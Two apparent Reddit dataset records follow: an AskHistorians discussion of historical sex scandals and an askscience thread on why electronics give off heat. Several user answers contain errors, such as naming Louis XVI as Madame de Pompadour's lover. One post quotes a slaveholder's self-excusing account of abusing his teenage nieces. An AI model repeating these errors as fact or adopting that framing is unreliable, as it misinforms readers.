{"q_id": "17fpl8", "title": "Monday Mish-Mash | Sex and Scandal", "selftext": "Previously:\n\n- [Siege Warfare](_URL_1_)\n- [Suggestions and Discussion for New Directions](_URL_0_)\n- [List of 2012 entries](_URL_2_)\n\nToday:\n\nAs has become usual, each Monday will see a new thread created in which users are encouraged to engage in general discussion under some reasonably broad heading. Ask questions, share anecdotes, make provocative claims, seek clarification, tell jokes about it -- everything's on the table. While moderation will be conducted with a lighter hand in these threads, remember that you may still be challenged on your claims or asked to back them up!\n\nFor today, I'd like to hear about sex scandals.  Discussion can include, but is not limited to:\n\n- Famously torrid romances from throughout history\n- Liaisons that \"broke the rules\" of a given time or culture\n- Careers that were ruined -- or even made -- by such dalliances\n- Sexual partnerships that were notably unusual, or which may now seem so by modern standards\n- Anything else you can think of, so long as it's related!\n\nGet to it, gang.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17fpl8/monday_mishmash_sex_and_scandal/", "answers": {"a_id": ["c8539si", "c853if4", "c853is3", "c854gqj", "c854jkm", "c855mek", "c85653s", "c856o53", "c859kwy", "c85beic", "c85h40l", "c85t2mq"], "score": [3, 7, 37, 16, 5, 12, 14, 8, 18, 15, 5, 3], "text": ["In terms of a career that was made by sex, Madame de Pompedour (on mobile, not sure of the spelling) was the mistress of Louis XVI. This put her into a position that allowed her to make decisions politically in France. Usually her decisions were disastrous, and helped caused the civil unrest that sparked the french revolution. ", "Is there any credibility to theories speculating that the \"Virgin Queen\" Elizabeth I wasn't in fact a virgin?", "James Hammond was a noted South Carolinian politician in Jacksonian and Antebellum America, famous for being the first to introduce the gag-rule, make the phrase \"cotton is king\" famous, and contribute to the most famous Southern argument prior to the ACW *The Pro-Slavery Argument*.  He had been born a no one but had hounded an unmarried daughter of the powerful Hampton family( he was the uncle of the famous American Civil War general Wade Hampton III) into marriage, enabling him to reach the highest class Society in South Carolina. Hammond was apparently notorious in South Carolina for \" regularly fornicating with his slaves\" and we now know that he had engaged in homosexual acts during his youth, however his most notorious escapades involved his own family. In 1842 South Carolina elected ( or should we say the South Carolina legislature) Hammond to the governorship, Hammond however had engaged in a series of sexual escapades with his four nieces, aged 13-18. Hammond defended himself by saying \n\n\"These girls came all of them rushing on every occasion into my arms and covering me with kisses, lolling in my lap, pressing their bodies into mine...encountering warmly every part of my frame. No man of flesh and blood could withstand this. They let my hands stray unchecked over every part of their bodies including the most secret and sacred regions\"\n\nHamilton always maintained that they stopped \"short of direct intercourse\", however when one niece felt he didn't give her the attention she deserved, it didn't matter when the parents were informed. The Hampton clan was furious and Hammond was forced to withdraw to his swampy plantation a virtual pariah until the crises of the late 1850's enabled him to return to political life. His nieces had a worse fate, all never married.\n\nFor those interested in an aspect of Southern history rarely explored Hammond's diaries are an interesting read. They are also useful for exploring South Carolina state politics and the mind of a man who seemed bent from an early age to separate South Carolina from the Union. The diaries are currently [going for .23 cents](_URL_0_) on Amazon, can't beat that.", "The devotion of the Emperor Xuanzong (685-762) to his consort Yang Guifei was considered by early chinese historians to be the root of his downfall, the An Lushan rebellion. His downfall was clearly a combination of his aging and his declining role in state affairs, which included the meddling of the Yang family, however, Guifei was just one of the many elements to the story. Nonetheless, she has been both villified and glorified in the retelling of the tragic rebellion over the years.\nIn the Sima Guang history, the account of the day of her death is heartbreaking. Xuanzong's subjects, on the run from the rebels, are nearly mutinous with hunger and anger at the state of the Tang, and Xuanzong gives a truly moving speech to pacify them.   \nHere is a bit:\n  \n\"I have come to elder years. I have appointed those who did not deserve it, delivering frequent rebellion and chaos, and from far off I avoided the spear-point. I know you all hastily followed me, without obtaining leave from your parents and wives. Over plain and river arrived at this, toiling to the utmost. Of this I am extremely ashamed. The *Shu* road is obstructed and long, villages and counties are cramped and small. Men and horses in the multitude are many, some will not be able to be provided for. Now, I permit you each to return to their home. I will, alone with my son, grandson, and courtiers travel and enter *Shu*. surely this will be sufficient to arrive. This day with you all I take my leave, We all can divide this silk, to help with your grain expenses. If you return, when you see your parents and *Changan* elders, for me convey my feelings, each be good to your loved ones!\n\nThereupon tears fell to his lapel. The multitude all cried, saying, \"We, dying or living, follow your highness. We do not dare to have fractured loyalty.\" The emperor for a long time (waited), then spoke, \"Go, or stay. I permit you.\" From this the flowing words began to cease.\"\n\nThe people were pacified to an extent, but his top officials suggested Guifei must die. He resisted their requests, but in the end accepted that there will would no peace without her death. His men took her to a buddhist temple, and there strangled her.  \nInterestingly, there was nothing *wrong* with an emperor having a chief consort. He just couldn't allow her and her family to meddle in state affairs.\nGreat story though.   ", "This should be interesting. Any examples of famous people being labeled \"perverts\" by their contemporaries?", "Edward II's close relationship with his favourite Piers Gaveston led to Gaveston being exiled three times and damaged Edward's reign badly.  The King's continued failure to manage relationships contributed to him being dethroned and probably murdered.\n\nThere remains some debate about the nature of the relationship, with some contemporary chroniclers claiming it was sexual (the Meaux Chronicle states that Edward enjoyed sodomy) along with many more recent historians.  Other contemporaries, however, make no mention of homosexuality and other modern historians suggest that there was no sexual element to the relationship.\n\nWhat is widely accepted, however, is that Gaveston's relationship with the King, and his close control of patronage, raised the ire of many of the Earls and other members of the nobility regardless of whether it was sexual in nature.  This was compounded by his arrogant approach to other nobles, even giving the more senior of them offensive *sobriquets*.  Ultimately Gaveston met his untimely death on the orders of the Earls of Warwick, Lancaster, Arundel and Hereford, supported by a group of barons.  This act led to a brief war with the Barons, but with the malign influence of Gaveston removed many of the nobility felt no need for further hostility.\n\nEdward's failure to secure victory against the Scots, in direct contrast to his father's successes, and defeat at the Battle of Bannockburn especially, further weakened the King's authority and when he decided to choose a new favourite in his nephew, Hugh Despenser the Younger the Barons once again became restless.  When Hugh and his father were exiled the subsequent power vacuum led to infighting amongst the Barons, the execution of senior nobles and ultimately the Despensers returned to exert their influence.  Edward's Queen, Isabella, left England for France on a diplomatic mission in 1325 and, owing to a deterioration in relations between the two countries, refused to return unless the Despensers were removed.\n\nEventually Isabella, in league with Roger Mortimer, invaded England, incited revolts, captured the King and executed the Despensers and other rivals.  Ultimately Edward was charged with a number of offences relating to the incompetence of his rule and he abdicated in favour of his son who was crowned Edward III.  Although it is widely believed that Edward II was killed at Berkeley Castle in 1327, it is highly unlikely that it was by the widely believed method of inserting a red hot poker into his anus.  Although a funeral was held that same year, Ian Mortimer claims that Edward II was still alive at least in 1330; that neither Isabella or Mortimer were prepared to commit regicide and that his death was faked in order to prevent him from being used a figurehgead for future rebellion.\n\nOn reaching maturity Edward III had Mortimer executed and retired his mother with a generous pension, he is reported to have tried to hunt down his father's killers suggesting that he was not complicit in the regicide.  Incidentally it is estimated that 80% of white Britons are descended from Edward III.", "Eva and Juan Domingo Peron are definitely one of the most fascinating first couples in Latin American History and still figure in Argentine politics.\n\nMany rumors were spread about the Perons by their opposition but what has been verified by reputable historians (Tomas Eloy Martinez, Alicia Dujovne Ortiz, and Antonia Frasier) points to a power couple devoid of much affection. \n\nThough Juan Peron did fall in Love with Eva when she was Argentina's highest paid actress, the romantic aspect lasted for a few years. After a couple years Juan, a man with a very high sex drive, looked for company outside of marriage and as president established a Sports scholarship for young girls as a way to lure them into his bed. \n\nEva was most likely aware of Juan's philandering but her true passion was the power that came with being Peron's wife. She adored and idolized Juan Peron in a quasi religious way. Famously repeating \"La Vida por Peron\" (My life for Peron) in her wildly popular speeches. From the people that knew her personally we know she didn't have any sort of liaisons outside of marriage because of the volume of her work and her intense ambition. She was a cold woman in private who often verbally abused her staff and once famously threw American Ambassador Braden out a first story window in a fit of rage. It seems possible she had intimacy issues as a result of a botched abortion when she was a younger woman dating men to escalate the career ladder.\n\nAs Argentina's first couple they were very affectionate in Public and seemed to enjoy themselves very much. The workers adored them such that they began calling them \"Papa Juan and Mama Eva.\"\n\nWhen uterine cancer manifested itself and invaded Eva's body by the end of the 1940's it took a huge toll in their relationship. The treatment for uterine cancer led to extreme vaginal bleeding (a secretary secretly recorded her vaginal bleeding volume to keep Peron and the doctors informed) and burning for Eva, which killed whatever intimacy remained. Eva threw herself into work, often leaving at 6 am and returning in the wee hours of the night as she became more aware of the hopelessness of her situation. She would not see Peron for weeks at a time. There is a particularly sad anecdote by a servant who worked at the presidential residence at the time: One night a very delirious Eva woke up and walked to Peron's bedroom trying to get his affection. By that point she weighed about 90lbs and had a smell of decay and the heavy drugs she was taking. Peron when presented by the specter of what had been a beautiful woman immediately lost his temper and screamed at the servants to take her back to her room as he wanted nothing with her. Eva, apparently aware of the situation broke down crying.\n\nJust as a reference here are some photos I found that mark the steady and fast progression of her cancer beginning in 1948 and ending in her death in 1952.\n\n[1948:](_URL_3_) Eva Peron looking radiant in France during her much publicized Rainbow tour. During the trip she presented fatigue and upon returning to Argentina presented heavy vaginal bleeding, anemia and abdominal pain.\n\n[1949](_URL_2_) Eva looks relatively healthy but had by this point begun treatment for the cancer and outlooks were optimistic. She had by this point shed her glamorous image that had dominated Argentina's media since 1946. She wore dark suits and little jewelry as she worked tirelessly at the Eva Peron FOundation.\n\n[1950](_URL_1_) By 1950 her situation was dire and prospects of recover were slim. She had renounced the chance to run as her husband's vice president in a very emotional speech to a crowd of millions. By now even the tightly controlled media had noticed her dramatic weight loss and often frail state. She had fainted publicaly in several ocassions.\n\nAfter the \"renunciamiento\" Eva Peron is seen less and less in public until she isn't seen until...\n\n[1951] Juan Peron's second inauguration. Eva demanded to be present despite being too frail to walk and being bedridden. She received a heavy dose of stimulants, heavy makeup and wore a large fur coat to hide the device used to hoist her body up in the limousine. This would be the last time she would be seen in public.\n\nEva Peron voting from [her hospital bed](_URL_0_) in the first Election that allowed women the vote and she was instrumental in achieving. \n\nEva died in 1952.", "So this is more about the scandal sex caused than any specific or famous examples, but I still think it fits. \n\nThe reformers in late 16^th century Scotland were obsessed with, and scandalised by, extra-marital sex. The records from the Presbyteries and Kirk Sessions are rife with accusations of adultery and fornication, often dragging on for months. The records, which are essentially just minutes and proceedings of church council meeting (Think, *The Vicar of Dibley*, but less amusing), often go into a surprising amount of detail in regards to who did what and where they did it. Nothing pornographic of course, but the Elders and Ministers have obviously taken a special interest in sexual misdemeanour's. \n\nThere's an interesting, if unsurprising, gender side to this. Looking at the Records for the Stirling Presbytery, it's rare that any cases are brought before the Presbytery primarily to deal with a man. That's not to say men aren't dealt with as harshly as women, but when they appear in the first report, it's generally as part of a couple. \"Janet Blythe and John Martin did do this\" and so on. Women on the other hand are, in the first instance, often identified in isolation. \"Margaret Geddie is called before the session for adultery\". (I'm paraphrasing, because I know longer have access to the books, but the gist is right.)\n\nThere's also a distinction in terminology used as well. Women are often referred to as either Fornicatrix or Adulterix depending on their crime, while men are only rarely referred to by the equivalent masculine terms. I wanted to write a paper on this gender divide during my Masters year, but simply ran out of time. Maybe one day.\n\nOn another note, It's interesting what things don't show up in the records, at least not the ones I've read (a fair proportion of the 16^th century ones). No one is condemned, for example, for anything approaching same-sex interactions. And we do know that this was something that the sessions would have condemned, based on writings of the prominent (Calvinist) reformers, and the reaction to King James VI's contemporary relationship with his older, male, cousin Esme. Similarly, there is nothing in the way of comment on paedophilia (though there is one accusation of infanticide!), though I vaguely recall reading one case where a man in rural Fife was accused of bestiality.\n\nSo really, it seems that most of the early Scottish kirk was made up of dirty old men. ", "I'm surprised no one's mentioned this yet, but I immediately thought of the relationship between Thomas Jefferson and his slave, Sally Hemings.  Hemings was the daughter of Elizabeth Hemings (herself mixed-race) and a planter named John Wayles.  This also meant that she was the half-sister of Jefferson's wife, Martha (n\u00e9 Wayles).\n\nThis has been a controversy for some time in American history.  It dates all the way back to 1802, when James Callender published an accusation in the September 1 issue of the _Richmond Recorder_ that Jefferson kept his slave as a concubine: \"It is well known that the man, whom it delighteth the people to honor, keeps, and for many years has kept, as his concubine, one of his slaves.  Her name is SALLY.\"  Scandalmongers referred to Hemings as \"African Venus,\" \"Dusky Sally,\" \"Black Sal,\" \"Sooty Sal,\" \"the mahogany colored charmer,\" and a member of Jefferson's \"Congo harem.\"\n\nWhat's interesting, though, is not so much how the relationship affected Jefferson's life (by all accounts, it was something kept relatively private), but how it has been treated in American historical memory.  Historians argued about the extent of this accusation for decades.  Many believed that it was just political slander, and until recently Jefferson scholars were nearly unanimous in denouncing Callender's claim and rejecting any notion that the founding father had a relationship with a slave.  Merrel Peterson, for example, posited as much in _The Jefferson Image in the American Mind_ as late as 1960 and offers a good account in that book of the arguments over the topic in the nineteenth-century press.  \n\nHowever, the publication of biographer Fawn Brodie's _Thomas Jefferson: An Intimate History_ (1974) treated the possibility seriously and received widespread popular acclaim (the book was on the _New York Times_ Bestseller List for thirteen weeks), though experts excoriated the book.  Historical consensus against the relationship remained strong throughout the 1980s and 1990s, mostly because Sally Hemings left few records and Jefferson never mentioned the relationship in his own correspondence.\n\nIn 1997, Annette Gordon-Reed published _Thomas Jefferson and Sally Hemings: An American Controversy_ that critiqued the standards of evidence used by scholars to reject the possibility of a Jefferson-Hemings relationship, revealing that many historians rejected the notion through selective use of evidence and by the belief that the relationship would have been inconsistent with Jefferson's moral character.  The following year, DNA tests vindicated Hemings descendants' claims of blood ties to Jefferson when it was discovered that there was a genetic link between Jefferson and Sally's youngest son, Eston Hemings.  [The Thomas Jefferson Foundation](_URL_0_) (which owns and operates Monticello) conceded that the evidence supported the possibility that Thomas Jefferson and Sally Hemings had a relationship that led to the birth of one, and possibly all of, Hemings' known children.\n\nEven still, there are die-hard Jeffersonian traditionalists who reject this link.  The [Thomas Jefferson Heritage Society](_URL_1_), a group of self-described \"concerned businessmen and women, historians, genealogists, scientists and patriots,\" denies the \"historical revisionism\" of the Jefferson-Hemings relationship, claiming it portrays Jefferson \"as a liar, a hypocrite, and fraud.\"  Several of its members visit this controversy in _The Jefferson-Hemings Myth: An American Travesty_ (2001), claiming the DNA evidence does not settle the question and only proves that the Hemingses descended from a male Jefferson.  From there, they propose that Randolph Jefferson, Thomas's younger brother, had the relationship with Sally.  Other historians have attempted to suggest that Peter and Samuel Carr, Jefferson's nephews, are the likely fathers of Hemings' children (though neither carried male Jefferson DNA).\n\nYet as Gordon-Reed shows in her book and another volume, _The Hemingses of Monticello: An American Family_ (2008), Thomas Jefferson was the only male Jefferson present at Monticello nine months before the birth of all the children Sally Hemings conceived there.  Moreover, Hemings likely began her relationship with Jefferson when he was stationed as a diplomat in Paris in 1787, accompanying Jefferson's nine-year-old daughter Polly to live with her father (Hemings was fourteen at the time).  Thomas was also the only Jefferson male in close proximity to Sally during this time in Paris.\n\nWe can only speculate what sparked this relationship, but Jefferson promised his late wife on her death bed that he would not remarry and Sally, being related to Martha, likely resembled her in physical appearance.\n\nThe story, and resulting historical controversy, illustrate the difficulties of figuring out such relationships.  The only records we have of master-slave sexual relationships are usually testimony from former slaves - much of which came through the abolition movement or after emancipation.  The \"invisibility\" of Hemings in the historical record makes it difficult to pin her or her relationship with Jefferson down.  \n\nIt also demonstrates the complexity of Jefferson's thought.  Jefferson was on record as saying that he found African women distasteful, but Mia Bay posits in a review essay, \"In Search of Sally Hemings in the Post-DNA Era,\" _Reviews in American History_ 34 (2006), pp. 407-426, that Jefferson might not have considered Hemings to be \"African.\"  Sally was more than half European by ancestry, and Jefferson claimed that \"an admixure of less than one-eighth Negro blood qualified the descendants of the one-eighth Negro individual as white\" in a letter to Francis C. Gray on racial mixing (March 4, 1815).  \"For if Jefferson saw her [Hemings] as white,\" Bay claims, \"as the argument produced by the recoloring of Sally Hemings suggests, then his relationship did not betray his own values and convictions - his admonitions against race mixture were not pure hypocrisy\" (420).\n\nFurther reading:\n\n* Michael Durey, _\"With the Hammer of Truth\": James Thomson Callender and America's Early National Heroes_ (1990)\n* Anne Du Cille, \"Where in the World is William Wells Brown?  Thomas Jefferson, Sally Hemings, and the DNA of American Literary History,\" _American Literary History_ 12:3 (2000), pp. 443-62.\n* Rebecca L. McMurray and James F. McMurray, _Anatomy of a Scandal: The Thomas Jefferson and Sally Hemings Story_ (2002).\n* John Chester Miller, _The Wolf by the Ears: Thomas Jefferson and Slavery_ (1977).\n* E. M. Halliday, _Understanding Thomas Jefferson_ (2003).\n* Lucia Stanton, _Free Some Day: The African-American Families at Monticello_ (2000).\n* Jan Lewis and Peter Onuf, _Thomas Jefferson and Sally Hemings: History, Memory, and Civil Culture_ (1999).\n\nOn sex between slaves and masters:\n\n* Deborah Gray White, _Ar'n't I a Woman: Female Slaves in the Plantation South_ (1985).\n* Joshua Rothman, _Notorious in the Neighborhood: Sex and Families Across the Color Line in Virginia, 1787-1861_ (2003).\n* Winthrop Jordan, _White over Black: American Attitudes Toward the Negro, 1550-1812_ (1968).", "George Gordon, the 6th Baron Byron had many sexual scandals surrounding him. Notable, of course, was the scandal of possible homosexuality, however I won't be focusing on that.\n\nThe first of the more interesting scandals was his apparent attraction for women dressed as page boys. Whether or not he enforced his in the bedroom I couldn't say, but he often went into town with young girls dressed as boys. Doubtlessly they were taken for boys as well. Also, during his affair with Lady Caroline Lamb he apparently had her dress as a page boy. This led to a socially dangerous incident, when after Byron had broken it off with \"Caro\" she would appear \ndressed as a page boy, publicly, in an apparent attempt to win back his affection. While some might only suggest this is an indication of homosexual propensities, I feel that it a simplistic way to look at it. Byron, in many ways, wanted the attention of being both mad and bad in the eyes of a society he \nsaw as shallow and hypocritical. It was said that \"Byron is never so happy as he can make you believe some new atrocity about himself.\" The simple fact that it was socially wrong may have been enough for Byron to do it, whatever other satisfaction he got from it.\n\nSecond of course is his alleged and likely affair with his half-sister Augusta Leigh. During a time when Colonel Leigh was away, and Byron was staying with her, she conceived a child. This child was a daughter which Augusta named \"Medora\" after a heroine from one of Byron's poems. Byron is also said to have commented on the birth saying \"Oh, but it is not an ape\". Incest at that time was suspected to result in ape-like offspring. Byron's wife was said to have later confirmed to Medora that her parents were indeed Byron and Augusta, whatever proof that might give, as Lady Byron wasn't fond of her husband after their separation. Byron wrote a poem, titled \"Epistle to Augusta\" the last stanza being:\n\n\"For thee, my own sweet sister, in thy heart\nI know myself secure, as thou in mine; \nWe were and are--I am, even as thou art-- \nBeings who ne'er each other can resign; \nIt is the same, together or apart, \nFrom life's commencement to its slow decline \nWe are entwin'd--let death come slow or fast,\"\n\nAugusta of course denied these accusations, saying that Byron often spoke as if they had slept together, but that they did not: \"that he only said these things to surprise people\". However, she may have simply been lying to save face. Given Ada Lovelace's (Byron's daughter by Lady Byron) appraisal of Augusta as being \"more wicked that my father ever was\" her complete innocence or even unwillingness seems unlikely in my mind, especially given how Byron was portrayed to Ada by her mother and the people around her. It was also said that Augusta and Byron wore matching golden brooches with each-others hair in them, that Byron said \"no one makes me happy like Augusta\" and, in front of both his wife and Augusta he said of Medora: \"You know that is my child?\" He even went around discussing relationships between brothers and sisters with people, the suggestion being that his theory was that there was nothing wrong with it. During the time when he was staying with both his sister and his wife, there is a story of how he locked his wife in her room, telling her that he was about to \"renew incestuous intercourse\" with Augusta. Another story:\n\n\"After dinner Byron asked for brandy, began drinking, and advised his wife to retire. 'We don't want *you*, my charmer,' he told her, and later, on coming up to her room: \"Now I have *her* [Augusta], you will find I can do without *you* - in all ways.\"\n\nDespite the evidence, of course, there is the question of whether Byron did it because it was wrong, did it because he loved his sister, or pretended it happened because it would make him look worse. \n\nFor rumors of incest, sodomy, and general anti-social behavior, he was driven into a sort of exile, and would never return to England.\n\n*This is my first post here, so I apologize it it doesn't meet the standards.*\n\nMuch of this is from His Very Self and Voice: Collected Conversations of Lord Byron, edited by Ernest J. Lovell. And from a Biography that I seem to have misplaced.", "**The Sad Tale of Moquihuix and Chalchiuhnenetl, or Don't Abuse Your Wife Who Is Also The Sister Of Your Biggest Rival/Ally**\n\nOne of the supposed factors justifying the conquest of Tlatelolco by its (more famous) sister-city Tenochtitlan was supposedly the mistreatment of Tenochtitlan noblewoman, Chalchiuhnenetl, married to the ruler of Tlatelolco, Moquihuix. \n\nIt was common at the time for a ruler (*tlatoani*; lit. Speaker) to have several arranged political marriages, but all wives were expected to be honored somewhat equally. There was, however, typically one \"primary\" wife who represented the most important alliance. Chalchiuhnenetl, as sister of the tlatoani of Tenochtitlan at the time, Axayacatl, certainly fit the bill. So any ill treatment of her would have been a major political faux pas by Moquihuix, who was already scheming to a surprise attack on Tenochtitlan anyway.\n\nYet mistreat her he did, and it doesn't seem like there was ever a happy period (despite their having a son together, who coincidentally was named after Axayactl). According to the *Codex Chimalpahin* he:\n\n >  ... despised his wife, because she was quite weak, had not a pretty face, was quite thin, was not fleshy.\n\nChimalpahin then goes on to describe how Chalchiunenetl was forced to sleep huddled in a corner with the grinding stones (*metates*) and wear rough clothing while Moquihuix:  \n\n >  preferred to fill the rooms of his house with women who were his mistresses... [Moquihuix] absolutely no longer desired that he and the noblewoman Chalchuihnenetzin [*Note: the -tzin suffix is an honorific indicating nobility, this is a sympathetic account.*] sleep together, but he only slept with his mistresses, who were pretty women [*Note: OK, maybe not that sympathetic.*]. p.137\n\nSo he made her live in abject poverty in his palace, openly flaunted his adultery, and -- oh yeah -- he also beat her. That's why her abuse comes up frequently in accounts of the 1473 AD war between the two sister Mexica cities, Tlatelolco and Tenochtitlan. Her treatment portrayed Moquihuix as a cruel and unseemly tyrant, and thus justified his removal. A removal, by the way, ended with Axayacatl (supposedly) single-handedly killing the wicked and scheming wife-beater Moquihuix, and Tenochtitlan placing Tlatelolco under their picked military governor (*cuauhtlatoani*; lit. Eagle Speaker) who ruled up until the Spanish conquest.\n\nChalchiuhnenetl played a role in this defeat as well though. Duran, in *Historias*, says that on the night before the Tlatelolco launched their surprise attack:\n\n >  ... while she was asleep she dreamed her private parts spoke, wailing, \"Alas, my lady! Where shall I be tomorrow at this time?\" She awoke with great fear and told her husband what she had dreamed, asking him to interpret this dream [*Note: The Aztecs were very big on dream interpretation.*]. He answered by telling her what he had decided to do about Tenochtitlan, and said that her dream might be a prophecy of the events that would take place tomorrow. p.254\n\nShe then pleads for him to reconsider, he gives a wishy-washy answer about it being too late and it being his right hand man Teconal's idea anyway. Moquihuix then encounters a number of bad omens that disturb him, so he sends spies to check out Tenochtitlan, where no one seems to have any clue of the impending attack. So, being the cruel backstabber that he was, resolved to continue his plan to attack the next day. But here's the twist, the Tenochca were faking complacency, having been warned by Chalchiuhnenetl! The other twist is that Moquihuix appears to be one of the earliest Bond Villans (\"Oh, you had an ominous dream? Let me tell you my plans for domination.\"). Thus prepared, the fate of the Tlatelolca was sealed.\n\n**Wait, what? Or, It Sounds Like There Were Some Already Deep Political And Social Divisions, Also That Part With Talking Dream-Vagina Seems Suspicious** \n\nThe problem with the accounts above is that the are Post-Conquest writings. Very early and very authoritative writings, but Duran's *Historia de las Indias de Nueva Espa\u00f1a* wasn't even published until a century after the Battle of Tlatelolco, and Chimalpahin wasn't even *born* until a century after the event. That is plenty of time for a the victorious Tenochca to hype up tales of the cruel and abusive Moquihuix, or for later recountings of the story to add in a story about the ominous prescience of onieric lady-bits. When you realize that Chalchuihnenetl's name is most often translated as either \"Precious Jade Doll\" or \"Precious Jade Female Genitals,\" (the etymology is unclear) the dream prophecy starts to looks even less reputable than it already was.\n\nThe truth of the social situation is that the Tlatelolca and the Tenochca had a rivalry that goes back to the founding of both cities, and the 1473 war was just the last and greatest of several clashes between the two. Despite both groups being ethnically Mexica, there were important cultural differences in how they viewed themselves as well. The Tenochca derived their legitimacy through Culhuacan and the ancient Toltecs; the Tlatelolca aligned themselves the later arriving Tepanecs who dominated the Valley of Mexico before the Aztecs. The Tenochca were known as unparalleled warriors who dominated their neighbors (including their sister-city) with fear. The Tlatelolca, though they had their own storied military history (Moquihuix himself was known as a superb warrior and general), were better known for having the largest market in the Valley, and possibly all of Mesoamerica. \n\nThese feelings of distinct cultural identies even persevered up through the Spanish Conquest, with Tenochca accounts explicitly referring to forces as either \"Tenochca/Mexica\" or \"Tlatelolcan.\" One of the best Tlatelolcan accounts of the Siege of Tenochtitlan, *The Annals of Tlatelolco* is even more amusing, as it is filled with incidences of the Tenochca running away like cowards while the Tlatelolcans stand and fight like badasses. So, yeah, despite their similarities, these groups had an intense rivalry.\n\nThe political situation was also in flux at the time. The other two cities in the Aztec Triple Alliance with Tenochtitlan, Tlacopan and Texcoco, had recently lost their rulers and both had a new and untested Tlatoani. Changes in rulers were always times of political flux in Mesoamerica. With two of Tenochtitlan's allies in transition, and with Axayacatl having only been on the throne himself for a few years, it must have seemed like the opportune time for Tlatelolco to finally throw off the dominance of the Tenochca. So he tried to round up some other disgruntled vassals in the Valley for a coup. \n\nObviously, that didn't work out, but Moquihuix being a terrible husband who's abused wife tipped off his rivals is very far down the list of why the attempt failed. Tlatelolco couldn't bring in the most important allies in the region (the other Triple Alliance states), and his plan was found out in advance by Axayacatl who struck first before any potential Tlatelolcan allies could even arrive. Spies were a constant part of Mesoamerican warfare. Justifications for war was another. According to the Tenochca, they never fought a war they weren't provoked into, the whole \"sleeping in rags, huddled with the metates, dreaming of a doomsaying vagina\" fits in perfectly with other flimsy justifications for conquest. Well, maybe not perfectly, but close enough.\n\n", "It's odd to think how many repressed homosexuals were around in the 18th century, but the one man allowed to be the most flamboyant, effeminate, flagrant sodomite was the younger brother of Louis XIV, the Duke of Orl\u00e9ans. His homosexuality was not repressed or discouraged and one could even say it was encouraged at times because the people in power didn't want *Monsieur* to be a threat to his brother's throne.\n\nHe partook in 'The Italian Vice' with the nephew of the Cardinal Mazarin the Duke of Nevers, then fell in love with the Chevalier of Lorraine who was said to manipulate him extraordinarily, much to the chagrin of the Duchess of Orleans the daughter of the late King Charles I, Henrietta of England. Henriette had Lorraine exiled, but died of what she suspected to be poisoning, but what was in fact a perforated ulcer.\n\nDespite his rampant homosexuality, the Duke of Orleans had four children that lived to adulthood and amongst his descendants can count the King of the French Louis-Phillipe I, so one could say the scheming to keep him away from the throne failed after all.\n\nOsman Agha of Teme\u015fvar who fell captive to the Austrians in 1688 wrote in his memoirs that one night an Austrian boy approached him for sex, telling him \"for I know all Turks are pederasts\". So yeah, a lot of sexual repression occurring there."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/164rhc/monday_meta_mishmash_discussion_of_what_to_do/", "http://www.reddit.com/r/AskHistorians/comments/16k2ml/monday_mishmash_siege_warfare_some_announcements/", "http://www.reddit.com/r/AskHistorians/comments/15qcj2/monday_mishmash_visual_art_inand_history/"], "answers_urls": [[], [], ["http://www.amazon.com/Secret-Sacred-Diaries-Southern-Slaveholder/dp/157003222X"], [], [], [], ["http://upload.wikimedia.org/wikipedia/commons/b/b0/Eva_Per%C3%B3n_votando_1951-Borroni-1970-72.jpg", "http://liquidbased.files.wordpress.com/2010/09/eva-peron.jpg", "http://www.museoargentinodeljuguete.com/wp-content/gallery/juguetes-fundacion-eva-peron/fundacion-con-eva-y-peron.jpg", "http://static.ddmcdn.com/gif/eva-peron-body-2.jpg"], [], ["http://www.monticello.org/site/about/thomas-jefferson-foundation", "http://www.tjheritage.org/"], [], [], []]}
{"q_id": "3gclb9", "title": "Why are electronics built so inefficient at transferring/consuming energy?", "selftext": "An incandescent bulb only uses 5% of its energy for light and the rest is heat. My PS4 heats up after a while of use. Cell phone chargers heat up as do phones. If electricity in homes comes at the expense of burning fossil fuels then why are electronics designed so bad at consuming that energy. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3gclb9/why_are_electronics_built_so_inefficient_at/", "answers": {"a_id": ["ctwvu1h", "ctwwz82", "ctwxmsx"], "score": [21, 4, 2], "text": ["First of all, you have to be clear about how you are defining the word efficiency. Generally we take efficiency as the fraction of \"useful work\" done by a device divided by the total input of energy. However this definition of \"usefulness\" is in many cases arbitrary. For example, an incandescent light bulb is 100% efficient at emitting thermal radiation. It just so happens that because thermal emitters emit a broad so-called [black-body spectrum](_URL_3_), most of this light is in a spectral range that we can't see [as shown here](_URL_3_), and we refer to it as heat, which results in a low efficiency for the bulb. However if the goal was to produce such broadband radiation, then all of the sudden you could say that the bulb was 100% efficient!\n\nNow because in the vast majority of cases generating heat is the last thing we want a device to do, increasing the efficiency becomes a question of how to minimize the production of heat, since virtually all energy used will eventually turn into heat. Unfortunately there are intrinsic limitations to circuits that limit potential efficiency gains. The most obvious problem is that electronics requires currents to flow through wires and these wires will always have a finite electrical resistance, which by [Ohm's Law](_URL_1_) will result in the dissipation of heat at a rate of I^(2)\\*R, where I is the current and R is the resistance. This process, called resistive heating, is for example what allows heating elements to work (these devices can easily operate with 100% efficiency!), but in the case of electronics it serves as a sink for useful energy.\n\nWhile there are gains to be made by optimizing circuits and reducing effective resistances, by far the biggest gain in efficiency can come from redesigning devices for a particular use. For example, if your goal is to create visible light, one can get a much higher efficiency by switching from incandescent bulbs to say [light emitting diodes](_URL_0_) (LEDs). While both types of devices can in theory be close to 100% in releasing electromagnetic radiation, the latter by virtue of their design can be made to [specifically emit light in the visible range](_URL_2_), allowing them to have an efficiency that is higher by an order of magnitude compared to incandescent bulbs.", "Most modern devices are actually very efficient compared to their predecessors of 10 years ago.  \n\nConsider that a modern smart phone, such as a Galaxy S6, is roughly as powerful (per GeekBench integer performance, not a perfect comparison obviously) as a Dual-processor Power Mac G4 Quicksilver from 2003.  The PowerMac, including a  CRT monitor, would draw ~250 Watts.  Your phone averages 1/20 of a Watt when its in your pocket, and ~1.25W when the screen is on (e.g texting) and 2.5 W when the screen is displaying HD video.", "With computers, you can't really say that they're inefficient just because they produce heat. All energy becomes heat eventually. When a processor uses electricity to perform some computation, that electricity is converted into heat in the process, no matter how useful the computation was."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Light-emitting_diode#Efficiency_and_operational_parameters", "https://en.wikipedia.org/wiki/Ohm%27s_law", "https://upload.wikimedia.org/wikipedia/commons/f/f4/Red-YellowGreen-Blue_LED_spectra.png", "https://en.wikipedia.org/wiki/Black-body_radiation"], [], []]}
